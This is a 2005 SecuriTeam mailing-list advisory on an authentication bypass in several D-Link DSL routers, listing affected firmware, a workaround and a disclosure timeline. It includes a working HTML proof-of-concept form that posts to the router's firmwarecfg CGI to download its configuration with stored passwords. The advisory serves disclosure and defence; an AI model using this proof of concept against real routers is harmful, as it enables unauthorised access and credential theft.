

[NEWS] D-Link DSL Routers Authentication Bypass Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0120.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 05/22/05

To: list@securiteam.com

Date: 22 May 2005 15:50:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

D-Link DSL Routers Authentication Bypass Vulnerabilities

SUMMARY

" <<http://www.dlink.com/>> D-Link DSL routers are commonly used for Internet connectivity for home or small office needs."

An undocumented feature in D-Link DSL routers allows (in some cases) to bypass the authentication prompt and gain full access to the router, and than to the network behind it.

DETAILS

Vulnerable Systems:

- * D-Link DSL-502T
- * D-Link DSL-504T
- * D-Link DSL-562T
- * D-Link DSL-G604T
- * D-Link firmware V1.00B01T16.EN.20040211
- * D-Link firmware V1.00B01T16.EU.20040217
- * D-Link firmware V0.00B01T04.UK.20040220
- * D-Link firmware V1.00B01T16.EN.20040226
- * D-Link firmware V1.00B02T02.EU.20040610

Securiteam: [NEWS] D-Link DSL Routers Authentication Bypass Vulnerabilities

- * D-Link firmware V1.00B02T02.UK.20040618
- * D-Link firmware V1.00B02T02.EU.20040729
- * D-Link firmware V1.00B02T02.DE.20040813
- * D-Link firmware V1.00B02T02.RU.20041014

The CGI /cgi-bin/firmwarecfg, when executed, checks the existence of the file fw_ip under /var/tmp/. If this file exists, all IP addresses listed inside it are given access to the device without the need for authentication. If this file doesn't exist, the CGI creates a new one, putting the requesting address inside.

If the web configuration console is accessible from Internet and if nobody has ever called the CGI before (eg: from a workstation inside the LAN), then everybody can gain access to the router, download the config.xml file which contains users account and passwords, have access to the private network, modify or alter the firmware of the router, etc.

The vulnerability can be exploited by a simple HTTP POST with the form:

Proof of Concept:

```
< html>
< head>Download config.xml:<title>GetConfig - Config file
download</title></head>
< body>

< script lang="javascript">
function invia_richiesta()
{

document.DownloadConfig.action='http://'+document.InputBox.Host.value+'/cgi-bin/firmwarecfg';
    document.DownloadConfig.submit();
}
</script>

< form name="InputBox">
< br>http://< input Name="Host" type="text"
value="">/cgi-bin/firmwarecfg<br>
</form>
< form name="DownloadConfig" method="POST" action=""
enctype="multipart/form-data">
    < input type="Submit" name="config" value="Download"
onClick="javascript:invia_richiesta();"><br>
</form>

</body>
</html>
```

Workaround:

The work around is to call the CGI /cgi-bin/firmwarecfg from a known address of the local network and/or disable web console access from the Internet.

Securiteam: [NEWS] D-Link DSL Routers Authentication Bypass Vulnerabilities

Disclosure Timeline:

- 2 May 2005 – First private release of this advisory
- 4 May 2005 – The vendor (D-Link Mediterraneo S.r.l.) has been informed of the vulnerability
- 5 May 2005 – The vendor replied that the problem was resolved on firmware version V1.00B02T02.EU.20040610, but has been demonstrated that this version is vulnerable too
- 19 May 2005 – Public release of this advisory

ADDITIONAL INFORMATION

The information has been provided by <mailto:francesco.orro@akhela.com>
Francesco Orro.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.